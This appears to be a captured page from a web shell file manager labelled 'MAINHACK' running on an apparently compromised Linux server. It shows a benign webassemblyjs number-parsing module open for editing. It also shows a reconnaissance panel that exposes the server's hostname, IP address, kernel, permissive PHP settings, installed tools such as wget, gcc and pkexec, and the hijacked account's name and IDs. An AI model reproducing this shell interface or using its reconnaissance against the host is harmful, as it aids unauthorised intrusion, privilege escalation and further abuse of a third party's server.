[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.parse32F = parse32F; exports.parse64F = parse64F; exports.parse32I = parse32I; exports.parseU32 = parseU32; exports.parse64I = parse64I; exports.isInfLiteral = isInfLiteral; exports.isNanLiteral = isNanLiteral; var _long = _interopRequireDefault(require("@xtuc/long")); var _floatingPointHexParser = _interopRequireDefault(require("@webassemblyjs/floating-point-hex-parser")); var _helperApiError = require("@webassemblyjs/helper-api-error"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function parse32F(sourceString) { if (isHexLiteral(sourceString)) { return (0, _floatingPointHexParser.default)(sourceString); } if (isInfLiteral(sourceString)) { return sourceString[0] === "-" ? -1 : 1; } if (isNanLiteral(sourceString)) { return (sourceString[0] === "-" ? -1 : 1) * (sourceString.includes(":") ? parseInt(sourceString.substring(sourceString.indexOf(":") + 1), 16) : 0x400000); } return parseFloat(sourceString); } function parse64F(sourceString) { if (isHexLiteral(sourceString)) { return (0, _floatingPointHexParser.default)(sourceString); } if (isInfLiteral(sourceString)) { return sourceString[0] === "-" ? -1 : 1; } if (isNanLiteral(sourceString)) { return (sourceString[0] === "-" ? -1 : 1) * (sourceString.includes(":") ? parseInt(sourceString.substring(sourceString.indexOf(":") + 1), 16) : 0x8000000000000); } if (isHexLiteral(sourceString)) { return (0, _floatingPointHexParser.default)(sourceString); } return parseFloat(sourceString); } function parse32I(sourceString) { var value = 0; if (isHexLiteral(sourceString)) { value = ~~parseInt(sourceString, 16); } else if (isDecimalExponentLiteral(sourceString)) { throw new Error("This number literal format is yet to be implemented."); } else { value = parseInt(sourceString, 10); } return value; } function parseU32(sourceString) { var value = parse32I(sourceString); if (value < 0) { throw new _helperApiError.CompileError("Illegal value for u32: " + sourceString); } return value; } function parse64I(sourceString) { var long; if (isHexLiteral(sourceString)) { long = _long.default.fromString(sourceString, false, 16); } else if (isDecimalExponentLiteral(sourceString)) { throw new Error("This number literal format is yet to be implemented."); } else { long = _long.default.fromString(sourceString); } return { high: long.high, low: long.low }; } var NAN_WORD = /^\+?-?nan/; var INF_WORD = /^\+?-?inf/; function isInfLiteral(sourceString) { return INF_WORD.test(sourceString.toLowerCase()); } function isNanLiteral(sourceString) { return NAN_WORD.test(sourceString.toLowerCase()); } function isDecimalExponentLiteral(sourceString) { return !isHexLiteral(sourceString) && sourceString.toUpperCase().includes("E"); } function isHexLiteral(sourceString) { return sourceString.substring(0, 2).toUpperCase() === "0X" || sourceString.substring(0, 3).toUpperCase() === "-0X"; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002